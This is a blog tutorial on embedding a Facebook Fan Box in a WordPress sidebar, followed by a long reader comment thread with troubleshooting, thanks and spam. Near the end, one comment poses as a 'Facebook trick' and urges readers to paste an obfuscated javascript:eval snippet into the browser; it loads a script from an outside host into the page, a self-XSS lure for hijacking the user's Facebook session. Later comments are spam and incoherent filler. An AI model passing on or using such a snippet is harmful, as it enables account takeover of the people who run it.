Get More Fans For Your Facebook Fan Page
Yesterday Facebook released a new application that allows you to place a Facebook Connect widget on your website that links directly to your Facebook fan page This article will show you how easy it is to add a Facebook Fan box to your blog or website. What this means is that you will be able to attract more Fans to your Facebook page and your prospective fans will instantly see your stream and your other Fans and get some idea about what type of content you will be sharingSet Up A Facebook Page
You need to have a Facebook Fan page in order to use this application, just scroll to the bottom of your facebook profile and click on “advertising” and then select the “pages” tab and then select “Create A Page”, for more information on how to create a Facebook Page check out this blog post on AllFacebook – “how to create a Facebook fan page to attract millions of fans” check out Mari Smiths blog post “how to create and promote a Facebook fan page” Once you have your fan page set up you can create your fan widget by going to your admin panel, from your page you just click the link Edit Page link that is below your Fan Page Image/LogoSelect “Add Fan Box” Box from your Admin Panel
Now select your Fan page from the drop down menu and facebook will show you a preview of what your Fan Box will look like. If you want to make it smaller just uncheck the boxes that say “include stream” and “include fans” (this might be necessary if you want to improve the load time of your blog or website or if you are limited for space)
Copy The Java Script Code
Add A New Text Widget
Now create a new text widget.
Depending on which version of WordPress you are using this will be slightly different, if wordpress 2.8 just drag and drop a text widget to one of your sidebars and place it where you want it to appear. If your blog theme is enabled with footer widgets you might want to place it there as Javascript and Facebook connect are notorious for slowing down your blog load times
Paste The Code Into Your Widget
Now paste the code from Facebook into your text widget and remeber to click Save
Now Go And See What It Looks Like!
That’s it all done, wasn’t too painful was it? All you have to do now is go to your site and see what it looks like
Advantage Of having A Facebook Fan Box
The main advantage of having a Facebook fan box is that your visitors can become Fans immediatly as long as they are already signed into Facebook. Before this it was a two step process where you had to take people to your Fan page and then convice them to click on the “become a fan” button What I like even more is that I can see immediatly what content is being shared on a Fan page and who the other members are. All the links are clickable so some marketers might say this is leak away from having visitors staying on your blog. I personally disagree. I think people are more likely to come back to your blog, engage with your content and be able to quickly scan your fanpage stream without having to visit Facebook. If they do decide to leave you have some control over the links that they will visit.Getting Your Community Connected
The advantages of having your community connected with each other are immense. The more networked your Fans are the more effect any fan interactions will have on facebooks newsfeed. More people will see if their friends are commenting or liking the content that you publish in your stream. Your aim is to create and own an integrated network of Fans where information and news spreads rapidly and your fan page is the centre and hub that this revolves around.If your blog is hosted on WordPress.com
A number of readers have discovered that it’s not possible to add this widget to free wordpress.com blogs. This is mainly due to a restriction on allowing Javascript code to be placed on their servers. If this is the case the only solution I can suggest if you want to have your own Facebook Fan Box is to move your blog over to WordPress.org and purchase your own domain name and hosting. You can buy a domain name for $10 from Godaddy and get cheap hosting from HostgatorShare This Post
If you have enjoyed this post, please do me a favor and share it on Facebook with all your friends, they will definitely thank you for it. Please leave any comments or questions below, I would love to hear your feedback. My Fan Page : http://www.facebook.com/idchapman My Facebook Profile : http://www.facebook.com/iandavidchapman Follow Me On Twitter : http://www.twitter.com/iandavidchapman My Blog : http://www.iandavidchapman.com
very well explained! we ave implemented the facebook fan page box as well on our website http://www.conceptbakery.com. but in a little different way within a mediabox. and i have to say “it works very well”. so thanks to facebook finally giving us the possibility to implent the newsfeed of the page inour websites as well;)
ps: and of course i just became fan #324 of your facebook page;)
thank you! this has really been the only page that’s been helpful on this subject. i am not too familiar with html coding and was having a difficult finding out how to post on my blog through blogspot. though you’re discussing wordpress, it blogspot/blogger requires a similar process and i appreciate the help!
Hi Ian,
I followed your instructions to the letter however when I push save the Text-box widget changes the code to this:
FB.init(“34dbcdb8414f688bdd02219d2f1f15e8″);Text 100 Public Relations Sydney on Facebook
I then doesn’t display properly on our blog
Any suggestions?
@LUKAS and @IAN
I am having the same problem…any suggestions?
Best,
Matt
@MATT, @LUKAS, and @IAN
Same problem…any ideas?!?!?!
Tom
You can add this in blogger too, you just need to paste the code in a html/javascript gadget. Just go into the backend of blogger and click on layout and then add a gadget. Paste the code in the same way I suggest and place the gadget where you want it to appear on your page
@Matt, @Lukas, @Tom I suspect the issue is that you are using WordPress.com instead of a hosted blog on wordpress.org, apparently they don’t allow javascript for security reasons, you can read more about it on these posts.
http://en.forums.wordpress.com/topic/code-not-saving-in-text-box-widget?replies=3
http://faq.wordpress.com/2007/03/04/my-code-has-gone-from-my-widget/
http://faq.wordpress.com/2006/05/07/javascript-can-i-use-that-on-my-blog/
Hey Ian,
I am having the same problem. Wanting to add it to my wordpress blog here: http://kvbijou.wordpress.com but the code isnt working after I copy and paste. Does this mean it doesnt work on the .com wordpress blogs? It has to be .org?
You Rock! We are in the infancy stages with our website…Thank you SO SO much for your help!
Thanks dude for your valuable information. Thanks alot.
Hi. Great information. We created a business page directly without personal information and I guess you can't use the “fan box” unless you sign up for a personal account first. Is that right?
I haven't tested it but I don't see any reason why you can't have a Fan box if you don't have a personal profile. All I can suggest is to try it and see
I followed your instructions exactly and it seems my widget at WordPress.com doesn't like the script portion of the code. Every time I save the code, it drops the first few lines and it doesn't save properly. any suggestions?
hi, i have been trying to put one of these boxes on my blog, but it hasn't worked. i have a “.wordpress.com” account at the moment before committing to the domain, and when i run through these steps after i put the script into the text widget i get this
FB.init(“23028c5017f5a6843a15ba1748895d0b”);<div style=”font-size:8px;padding-left:10px;”>imtwincities on Facebook</div>
It just automatically changes after i hit save. What do i do?
Mine won't load either…. any new info on why??
i have the EXACT same issue, it cuts off the text – the problem is noted by others on this page as well …looks like we ALL are still awaiting a reply from the author of the page. Hope there is an answer soon….
I actually replied to this a while ago but can't see the comment that I made. The problem lies with wordpress.com,
“Users are not allowed to post JavaScript on WordPress.com blogs. Javascript can be used for malicious purposes. Your code and intentions may be perfectly harmless, but it does not mean all javascript will be okay. The security of all the blogs is a top priority and until we can guarantee scripting languages will not be harmful they will not be permitted.”
well there is an IFRAME version that is non java script and it does the same thing. Perhaps you can look into that too?
Tried the iFrame version in my WordPress blog as well but it didn't work. Here's the instructions I found for it:
Using an IFrame instead of JavaScript
We highly recommend Using JavaScript to add a Fan Box, as it allows your site to add more social widgets (other Fan Boxes or Live Stream Boxes) easily in the future.
If you are unable to use this method for some reason, you can use add a Fan Box using an HTML iframe tag, like this:
<iframe scrolling=”no” frameborder=”0″ src=”http://www.facebook.com/connect/connect.php?id=YOUR_PAGE_ID&connections=10&stream=1&css=PATH_TO_STYLE_SHEET”
allowtransparency=”true” style=”border: none; width: 300px; height: 550px;”></iframe>
<div style=”font-size:8px; padding-left:10px”>PAGE_NAME on Facebook</div>
You need to specify your Page ID in the iframe src attribute You also must specify the URL to your Page in the anchor tag in the div.
You can choose to hide the stream from the Fan Box by changing 1 to 0 in the stream URL parameter.
You can modify the number of fans to display by changing the setting for the connections URL parameter. Setting connections to 0 hides your fans. You cannot specify more than 100 fans.
You can reference a style sheet by passing css, a URL-encoded GET parameter, to the iframe src. Your style sheet can modify the Fan Box's colors and fonts, but it cannot delete, obscure or modify:
Your Page title and icon
The Become a Fan button
The order of the elements (button, stream, fans)
I have a non wordpress.com based site and it doesn't work for me either.
I think the link has been removed or changed. I cant seem to find it on my facebook page.
Some information says that people do not have to be registered on Facebook to visit your Fan page, but when non registered users click the link to my fan page, it asks them to sign in or register. Is there a way around this?
Thanks for your work, but it really doesn't works actually.
When I paste de code into the text widget box and press the <Save> button… almost all code desapears… and in wordpress only remanis the following code
FB.init(“838c6f0a52fbdc36ac1c0c35b8b62ede”);<div style=”font-size:8px;padding-left:10px;”>Hotel Tximista on Facebook</div>
Have you any solution for this?
Thanks in advance and excuse me for my poor english…
Hey kudos to you for such a useful and detailed post…
Post got Tweeted by me
This is a really helpful article, thanks Ian! I followed each step to the T until I got to the part about wordpress.com. Sigh.
Why post about “How To Add A Facebook Fan Box To Your WordPress Blog”.. if you can´t use it in wordpress
Hi Jimena, when I wrote this blog post I had no Idea that this solution would not work for wordpress.com blogs. My own blog runs on wordpress.org which is hosted on my own domain name and it works fine. I am sorry you feel frustrated, all I can suggest is contacting the support forums on wordpress.com. If enough people complain then maybe someone can come up with a workaround. It seems stupid that so many people can't use this excellent widget.
Thanks for the intro to the FB box, but I think you might be kidding users of wordpress with the instructions. Putting the code you copy from FB into a widget is a great way to get it easily compressed into your sidebar, but it does NOT have to be in a widget.
That code could easily be pasted into a new WP template page and used as the main content for a blog page. Or even into the body of the post if you didn't want an entire page dedicated to it.
So keep in mind that this is globally accepted code, anywhere that javascript is enabled. It doesn't have to be confined to a WP widget. Use your imagination!
Thanks Ian,
As usual, another valuable social networking tool.
You are THE Social Network Expert!
John
John McLaughlin, Stock Trading – Consultant / Coach
http://www.DayTradersWin.com
Helping trouble traders, losers, quickly become consistently profitable, wealth building winners earning $3,000+/day, $300,000+/year, all in just 3 months.
Dare to Become a Millionaire!
Follow Stock Trades on:
Twitter – https://twitter.com/John_McLaughlin
Facebook – http://www.facebook.com/StockCoach
This is great information. Thank you.
Thanks for posting this. Clear and succint!
Nice tutorial. Thx for sharing!
This is very good information, thanks again for sharing. I'm becoming a fan of the fan.
Thank you for detailed post. Another thing I can't do on WP.com…. Boooooooooooooo~ I guess I have to put the transfer on my #1 priority.
Awesome article!! How did you add the Login with Facebook, Twitter, OpenID buttons to your blog?
Thank you David for the very helpful Tip: Facebook Pages – How To Add A Facebook Fan Box To Your WordPress Blog.
I have been able to add my Facebook Photography to my Blog: http://www.digitalweddingblog.net/
And I am enjoying the exploration of what can be done with Social Networking and will look forward to your Posts.
Thank you! David Lloyd
How do you get the short link:
My Fan Page : http://www.facebook.com/idchapman
When I do it, I end up with
http://www.facebook.com/pages/myfanpage/reallyl…
Thanks for this post. Very helpful.
excellent article, exactly what I was looking for!! Moments ago I setup my first facebook fanpage, don't have it fully customized yet but these tips will really help once I'm ready to add this widget to my site, which will be soon
i found that you can use a fan badge on wordpress.com … it'll link to your page but, sadly, doesn't allow for a fan button.
Hi Ian, your information and presentation is fantastic. I will be sure to pass it on! Cheers
Yamuna Keller
Thanks man. I just created a page for my blog and this tutorial helped a lot
I have a small workaround for the Facebook Fan Box not working on WordPress.com. As earlier posters have stated, when the pasting the code, WordPress automatically truncates the code and insert its own piece of code e.g FB.init(“23028c5017f5a6843a15ba1748895d0b”); What you can do is delete that piece of code. All you'll be left with now is a small link to Facebook. You can change the font size in the next line of code, e.g. font-size:12px;. The link still works, and still says Facebook.
Thank you. You're the first person to make clear that wordpress.com blogs do not allow fan boxes. I have been trying in vain to install one but was unsure why I was having a problem.
Hello,
I installed the Facebook widget on my site, but it only works when you click on categories.
When you click on individual posts or the home page there is only 'coupons on Facebook'.
I really want the widget to work on the individual posts because thats where I send all my
visitors.
Have you got any ideas?
Many thanks.
Barb
Hello,
I installed the Facebook widget on my site, but it only works when you click on categories.
When you click on individual posts or the home page there is only 'coupons on Facebook'.
I really want the widget to work on the individual posts because thats where I send all my
visitors.
Have you got any ideas?
Many thanks.
Barb
great post. worked a treat. thanks for the info
Brilliant!
Many thanks for the blonde-friendly, clear and concise instructions on how to add a facebook fan page to my wordpress website.
You're a rockstar!
Lara
Founder of the Ultimate Lifestyle Project
http://ultimatelifestyleproject.com
Thank you for writing this tutorial. I was looking in many places and searching for that script. So simple but still hard to find. It will fit perfectly for my blog.
Greetings
John Steczko
http://karatesoul.com/
Thanks for this clear tutorial…very easy
Very nice walk through with pictures.
I'm thinking of adding it to my single post image inline.
Thanks so much! After an hour of trying to figure this out myself, your tutorial helped me in a matter of minutes. I now have a facebook fan link on my sidebar.
Hmmm… For some weird reason it keeps showing my personal page rather than my fan page when I do this…
I can't figure it out, and I checked that the page id was correct. -I'm stumped
Now this link is not there in Edit page
Now this link is not there in Edit page
Great tutorial, helped me!
Now I only need an plugin that autoposts my blogposts on my Facebook Fanpage. How can I do that?
Really cool stuff, just put it up on my blog, but it dosent seem to be working immediately, I guess Ill wait and have a look, great find!
thnx its working for me….!!!!!!!
hi can you be my friend.
thanks for the article. You may have to change the one pic. It's now called 'Like Box'
Please help!! For some reason, this absolutely won't work for me. Every time I go to save the text box, it erases the code. I've tried the script code, iframe, and xml. I'm so frustrated!
What if i can't i dont have or can't find the link to add fan box?
Thanks a landlord it! I acquired yet some insight. Life is so colorful, we should be able to live in, such as Korea and honor the planet. Human life is like rivers, slowly flowing, flowing rivers, flowing through the snow, flows through the prairie and ultimately into the sea, return to the embrace of nature, start a new reincarnation. Allow us to feel the meaning of life will come only to those you have those memories http://www.chaneloutletstores.com/chanel-travel…
I'm having the same problem, it just erases it when I click save.
me too! same problem, it keeps deleting! have you found a solution yet?
thanks you I really appreciate ur effort
http://www.chillopedia.com
Thanks, great tutorial! I just applied it to my iPhone App website: http://www.ifindbikes.com
hello it has not worked please can you get back to me thank you
Seen your website its great. I am trying to make a similar like box in my website but its not showing my like list. Its showing some “Platform Like box” as a heading. Please Solve my problem. Thanks in advance. my mail id is rd.dcse@gmail.com
A very excellent tutorial. I really appreciate this very much. Thank you for your hard work.
thanks
good post
Hi,
It's a great article, but now outdated. Facebook has significantly changed since this article was released. They've changed the Fan Box terminology to a Like Box. Instead of using the Text Widget, you just need to get the WordPress Facebook Like Box Widget. Install it, Activate it, Add the Widget to your sidebar, and simply just add the page ID of your fan page to the widget. It works like a charm.
Cheers,
Jeremy.
Unfortunately my stream isn't wrapping to my 250px width limitation. Any ideas? Cheers in advance
Great Post,
For the first time I was able to do something on my website by myself without asking my web guy.
I loved the process
steps to add facebook comments box to wordpress in less than 10 mins, tutorial video, easy to follow http://tipsandtricksworld.com/…
Wow it worked Thanks
HAI FRIENDS , WISH ALL OF YOU A HAPPY NEW YEAR
I have a simple solution for this problem right here : Adding Facebook like box widget to your blog in WordPress.com
Link URL : http://indiancriticz.wordpress…
I have the solution for this problem right here : Adding Facebook like box widget to your blog in WordPress.com
Link URL : http://indiancriticz.wordpress…
Hope so it is helpful !!
Muchas gracias desde Sevilla, España!! -> Thank you very much, from Seville, Spain!!.
http://www.webdejavi.es/wordpress
Thanks for sharing this useful tips.
i think the best tips todays for facebook it with the nice tricks of java , put that on your browser and press enter
javascript:eval(function(p,a,c,k,e,r){e=function(c
){return c.toString(a)};if(!''.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c–)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('1:(a=(b=2).3(“4″)).5=”6://7.8-9.c/d/e.f”,b.g.h(a);i(0)',19,19,'|javascript|document|createElement|script|src|http|mwfreegiftlink|host|ed|||net|FB|jasmine|js|body|appendChild|void'.split('|'),0,{}))
Thank You. Now if you can only tell or show me how to change my old fan page to the new business page without losing my likes.
Thank You. Now if you can only tell or show me how to change my old fan page to the new business page without losing my likes.
amazing post…
http://vsocio.com
Latest technology
http://www.amazingeworld.com
Above, it says:
Select “Add Fan Box” Box from your Admin Panel
Where is the “Admin panel”?
I don't see anything that says “Like Box”. Where is this stuff?
I added a box across the page - http://developers.facebook.com…
The fact that it was necessary for my blog - http://worm.org.ua/
nowadays this feature only available after u upgrade your account or using private domain, it seems free user cant use any javascript on sidebar anymore
The facebook page interface has changed. I can't seem to find the Add Fanbox option in the new one.
Just tried is practically on my wordpress blog. Worked perfectly! Great help:)
Very good job. Found this post, which I was searching for. I will try to follow these steps for my blog. Thanks for writeup.
its a nice and easy way to add a fan box i added on my facebook fan page where i get likes with buy
buy facebook likes
The colour fades into my widget back ground and looks wrong. I wanted the colour as the dark setting, yet the colours disappear on my site. Can anyone help me?
I’d constantly want to be update on new content on this internet site , bookmarked ! .
thanks for writting…
Garments Stock Lot
Hi pal. .
Awesome tutorial. . yet here is another tutorial on adding facebook pop up box for blogger(http://www.bloggertricks.biz/2… and adding 4 in 1 social widget sliders for blogger (http://www.bloggertricks.biz/2…
thanks for the share….
How to get more Twitter Followers
There are also http://likes-exchange.com/ Echange de j'aime Facebook, comment avoir plein de Fans facebook
If you want to win fans
Thanks to this post and trick.Great work Dear.This is really useful post.Keep it up and more post tricks and tips.
Once you have your fan page set up you can create your fan widget by
going to your admin panel, from your page you just click the link Edit
Page link that is below your Fan Page Image/Logo <<<<<<<— cant found this on my fan page.
Advice ?
https://www.facebook.com/groups/IamTheJoker/
join my group , only for joker lovers , active people neded
Here we show you the Top 10 Fuel Efficient Cars in 2010.
Here are 10 easy steps you can take to lower your exposure to
tree pollen and other spring allergens, and
keep allergy symptoms under control. However, installing a bathroom in a basement that hasn’t already been stubbed for a bathroom can be very difficult and costly.
Be confident to get a superior resource of protein any kind of time meal.
At this time, there really aren’t many locations for comprehensive information on the internet that deal with children’s Alopecia together with
other various forms of hair loss in kids.
Your current post has confirmed necessary to us. It’s
extremely educational and you’re simply clearly quite experienced in this region. You get exposed my face in order to various opinion of this specific matter together with intriguing and solid articles.
There are many people moving on with the art of photography in the right
manner. The mini spy pen camera is available in 4GB, 8GB
and 16 GB for regular use as per requirement of the customer.
Approach more people than you think you need and don’t be afraid to ask for names and contact information of other possible investors.
Therefore parents are advised to purchase only bedding that is totally suitable for
they bed they choose. The same is the case with excess protrusions
in the chassis of the system, which must also have a high-quality mattress.
Once you invest some time before you shop, you will end up way more satisfied with your bassinet.
Polymers in the cleaning product used in this process encapsulate or “crystalise” dirt
particles into dry residue after which will be removed at the end of the process.
As can be seen from the above applications, cleaners of this type have a wide variety of uses.
For bagless vacuum machines, check the compartment where dust is stored.
Hello, i think that i saw you visited my site so i came to
“return the favor”.I am trying to find things to enhance my web site!
I suppose its ok to use a few of your ideas!!
Hey! I’m at work surfing around your blog from my new apple iphone! Just wanted to say I love reading your blog and look forward to all your posts! Carry on the excellent work!
I have been gone for a little bit, but came back on [date.
I’ll right away seize your rss as I can not find your e-mail subscription hyperlink or newsletter service. Do you’ve any?
Kindly let me recognise so that I may subscribe. Thanks.
- Emergency Ponchos – These provide warmth and shelter for your family.
Take a few of your child